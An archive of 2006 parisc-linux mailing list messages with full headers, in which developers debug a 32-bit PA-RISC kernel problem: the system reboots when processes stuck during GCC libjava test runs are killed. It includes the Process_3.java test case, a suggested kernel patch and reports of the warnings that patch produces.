	with ESMTP id 25812-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 12:14:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B66CC7D987
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 12:14:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBEJEUgA021025;
	Thu, 14 Dec 2006 14:14:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBEJETU6021023;
	Thu, 14 Dec 2006 14:14:29 -0500 (EST)
In-Reply-To: <119aab440612140929i3f5ea59dvb002b6fa525978ff@mail.gmail.com>
	from "Carlos O'Donell" at Dec 14, 2006 12:29:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ydfodvwReWU3WK2TZm9nzHErL0tsZg2C
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24146

> Yes. We talked about this before. You have to set up a serial console
> to your C3K, and issue a SYSRQ-T to show where the process is stuck in
> the kernel.

I know but that's a problem.  Can't capture enough info to graphics
console.  Don't have the right cable for a serial console, so I would
probably have to build it.  The machine's downtown and I haven't been
driving for the last two weeks.  Before that, Luxcom was sucking up
most of my time.

I've now using ethernet consoles for the servers but that's not an
option for the c3k.  Really, it would be great if it were possible
to do a SYSRQ-T over a standard ssh link.

The reason I haven't been driving is I had an eye operation two weeks
ago to correct a tear in my retina.  Not much warning, just an increase
in the number of floaters in the eye.  So, I booked an eye appointment.
The doctor saw the problem and referred me to another doctor in his
clinic who specializes in retina problems.  He looked at me and referred
me to a doctor at the General who specializes in surgery.  Went in the
same morning to the General and they did the first stage of the procedure
(laser welding + gas bubble to hold the retina in place and to dry out
fluid behind it).

Apparently, if the tear had got much larger, I would have had
to undergo major surgery.  There's no option since the tear would
have progressively got larger resulting in blindness in the eye.  This
problem apparently happens to about 1 in 10000 around 60.  So, far
the results of the surgery seem good but can't be certain until the
gas bubble disappears.

> FYI I've been running gcc builds on my c3k to reproduce this, but I
> haven't seen anything like this.

Java testsuite on head.  I think the binutils testsuite still has
problems when it is run when the machine is under load.

> Sorry to everyone who thinks I fell off the surface of the earth...
> it's true. I'm back on my thesis writing schedule, which means hours
> in the evenings are gone :(
> 
> I have a defense date in March! :)

Hey, spring graduation!  Good luck.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Thu, 14 Dec 2006 12:22:53 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20061214192253.GR21070__11581.2355805703$1416624232$gmane$org@parisc-linux.org>
References: <119aab440612140929i3f5ea59dvb002b6fa525978ff@mail.gmail.com>
	<200612141914.kBEJETU6021023@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624232 21782 80.91.229.3 (22 Nov 2014 02:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2006 19:23:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 14 Dec 2006 20:23:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBE9E7D9DB;
	Thu, 14 Dec 2006 12:23:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26206-10; Thu, 14 Dec 2006 12:23:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85D1F7DA8B;
	Thu, 14 Dec 2006 12:23:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D0347D8FC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 12:22:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26218-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 12:22:53 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DA9937D816
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 12:22:53 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id ACCBE494005; Thu, 14 Dec 2006 12:22:53 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200612141914.kBEJETU6021023@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: q5GzfYVsPjltCOrBOTU2pRszMTE2NQnl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24147

On Thu, Dec 14, 2006 at 02:14:28PM -0500, John David Anglin wrote:
> > Yes. We talked about this before. You have to set up a serial console
> > to your C3K, and issue a SYSRQ-T to show where the process is stuck in
> > the kernel.
> 
> I know but that's a problem.  Can't capture enough info to graphics
> console.  Don't have the right cable for a serial console, so I would
> probably have to build it.  The machine's downtown and I haven't been
> driving for the last two weeks.  Before that, Luxcom was sucking up
> most of my time.

I have a bunch of null-modem cables; you can borrow one if you like.
Heck, if you give me directions (and sort out access permissions),
I can go and install it for you.

> I've now using ethernet consoles for the servers but that's not an
> option for the c3k.  Really, it would be great if it were possible
> to do a SYSRQ-T over a standard ssh link.

Ah, /proc/sysrq-trigger is your friend here.

Best of luck with your eye problems!

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
	reboot
Date: Sat, 16 Dec 2006 12:36:04 -0500 (EST)
Lines: 103
Approved: news@gmane.org
Message-ID: <200612161736.kBGHa4sZ021645__11576.3675109067$1416624233$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440612140929i3f5ea59dvb002b6fa525978ff@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624233 21786 80.91.229.3 (22 Nov 2014 02:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2006 18:01:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 16 Dec 2006 19:01:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B1A27D876;
	Sat, 16 Dec 2006 11:01:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16799-06; Sat, 16 Dec 2006 11:01:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C85837D867;
	Sat, 16 Dec 2006 11:01:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C5027D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 11:01:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16799-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 11:01:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 701FA7D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 11:01:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBGHa5e8021646;
	Sat, 16 Dec 2006 12:36:06 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBGHa4sZ021645;
	Sat, 16 Dec 2006 12:36:04 -0500 (EST)
In-Reply-To: <119aab440612140929i3f5ea59dvb002b6fa525978ff@mail.gmail.com>
	from "Carlos O'Donell" at Dec 14, 2006 12:29:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 20DhNdk+ZCEXX7GPamwh6U5wIGhpZcaf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24148

> FYI I've been running gcc builds on my c3k to reproduce this, but I
> haven't seen anything like this.

A little more info.

I'm seeing this almost every time with GCC 4.2.0 branch using
vmlinux-2.6.18-rc7-pa1 or vmlinux-2.6.19-g211c7899-dirty.  The
kernels are 32-bit with the default c3000 config.  It's happened
in the last two builds and checks running the libjava testsuite.
The tests timeout, so I would think the dejagnu/tcl framework
would have tried to kill them when the timeout occured.

Within a group of processes that are stuck, I can kill all but one
without causing a system reboot.  The processes appear stuck in the
kernel.  I don't see any activity with strace.

I often see this with the Process_3.java test.  For example,
http://gcc.gnu.org/ml/gcc-testresults/2006-12/msg00637.html

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

// Create a process and pipe data through it.  waitFor() the process
// in a different thread than the one that created it.
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintStream;


public class Process_3 implements Runnable
{
  Process p;

  public void run()
  {
    try
      {
	Runtime r = Runtime.getRuntime();
	String[] a = { "sed", "-e", "s/Hello/Goodbye/" };
	synchronized (this)
	  {
	    p = r.exec(a);
	    this.notifyAll();
	  }
	OutputStream os = p.getOutputStream();
	PrintStream ps = new PrintStream(os);
	ps.println("Hello World");
	ps.close();
      }
    catch (Exception ex)
      {
	System.out.println(ex.toString());
        System.exit(1);
      }
  }

  public static void main(String[] args)
  {
    try
      {
	Process_3 p3 = new Process_3();
	Thread t = new Thread(p3);
	t.start();
	synchronized (p3)
	  {
	    while (p3.p == null)
	      p3.wait();
	  }

	InputStream is = p3.p.getInputStream();
	InputStreamReader isr = new InputStreamReader(is);
	BufferedReader br = new BufferedReader(isr);
	String result = br.readLine();
	if (! "Goodbye World".equals(result))
	  {
	    System.out.println("bad 1");
	    return;
	  }
	result = br.readLine();
	if (result != null)
	  {
	    System.out.println("bad 2");
	    return;
	  }
	int c = p3.p.waitFor();
	System.out.println(c == 0 ? "ok" : "bad 3");
      }
    catch (Exception ex)
      {
	System.out.println(ex.toString());
      }
  }
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
	reboot
Date: Sat, 16 Dec 2006 20:29:26 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <200612162029.26621.deller__1296.01390003717$1416624233$gmane$org@gmx.de>
References: <200612161736.kBGHa4sZ021645@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624233 21788 80.91.229.3 (22 Nov 2014 02:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:53 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2006 19:29:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 16 Dec 2006 20:29:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3EC7D89C;
	Sat, 16 Dec 2006 12:29:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17658-05; Sat, 16 Dec 2006 12:29:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D4FD7D89E;
	Sat, 16 Dec 2006 12:29:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE2207D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 12:29:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17658-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 12:29:32 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C68047D89A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 12:29:31 -0700 (MST)
Original-Received: (qmail invoked by alias); 16 Dec 2006 19:29:30 -0000
Original-Received: from mnhm-590c0482.pool.einsundeins.de (EHLO p100.box) [89.12.4.130]
	by mail.gmx.net (mp047) with SMTP; 16 Dec 2006 20:29:30 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612161736.kBGHa4sZ021645@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GX62dIZ3Iyd1EvqQe2dr1Rxaa2FkZpW3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24149

On Saturday 16 December 2006 18:36, John David Anglin wrote:
> > FYI I've been running gcc builds on my c3k to reproduce this, but I
> > haven't seen anything like this.
> 
> A little more info.
> 
> I'm seeing this almost every time with GCC 4.2.0 branch using
> vmlinux-2.6.18-rc7-pa1 or vmlinux-2.6.19-g211c7899-dirty.  The
> kernels are 32-bit with the default c3000 config.  It's happened
> in the last two builds and checks running the libjava testsuite.
> The tests timeout, so I would think the dejagnu/tcl framework
> would have tried to kill them when the timeout occured.
> 
> Within a group of processes that are stuck, I can kill all but one
> without causing a system reboot.  The processes appear stuck in the
> kernel.  I don't see any activity with strace.
> 
> I often see this with the Process_3.java test.  For example,
> http://gcc.gnu.org/ml/gcc-testresults/2006-12/msg00637.html

Hi Dave,

does it happen on 64bit kernel as well ?
If not, maybe you could try my (ugly & temporary) kernel patch from http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/030967.html ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Sat, 16 Dec 2006 14:33:01 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200612161933.kBGJX2sP028519__30237.8248227344$1416624233$gmane$org@hiauly1.hia.nrc.ca>
References: <200612162029.26621.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624233 21790 80.91.229.3 (22 Nov 2014 02:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2006 19:33:05 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx095) with SMTP; 16 Dec 2006 20:33:05 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBGJX2CW028520;
	Sat, 16 Dec 2006 14:33:03 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBGJX2sP028519;
	Sat, 16 Dec 2006 14:33:02 -0500 (EST)
In-Reply-To: <200612162029.26621.deller@gmx.de> from "Helge Deller" at Dec 16, 2006 08:29:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yX63cfMtf2I/GoicY2xoGVNwdWxlc9bp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24150

> does it happen on 64bit kernel as well ?

No, just 32-bit.

> If not, maybe you could try my (ugly & temporary) kernel patch from http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/030967.html ?

I'll give it a try.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Sat, 16 Dec 2006 16:10:44 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200612162110.kBGLAiiX013928__7812.80816668204$1416624234$gmane$org@hiauly1.hia.nrc.ca>
References: <200612161933.kBGJX2sP028519@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624234 21792 80.91.229.3 (22 Nov 2014 02:43:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:54 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2006 21:10:49 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx058) with SMTP; 16 Dec 2006 22:10:49 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBGLAjjb013930;
	Sat, 16 Dec 2006 16:10:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBGLAiiX013928;
	Sat, 16 Dec 2006 16:10:44 -0500 (EST)
In-Reply-To: <200612161933.kBGJX2sP028519@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 16, 2006 02:33:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vgnhBNsrfW4oTuWveGVoKNZmdmllcgU1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24151

> > If not, maybe you could try my (ugly & temporary) kernel patch from http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/030967.html ?
> 
> I'll give it a try.

I get a bunch of messages like:
WARNING: "show_stack" [net/ipv6/ipv6.ko] undefined!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Sat, 16 Dec 2006 22:17:32 +0100
Lines: 18
Approved: news@gmane.org
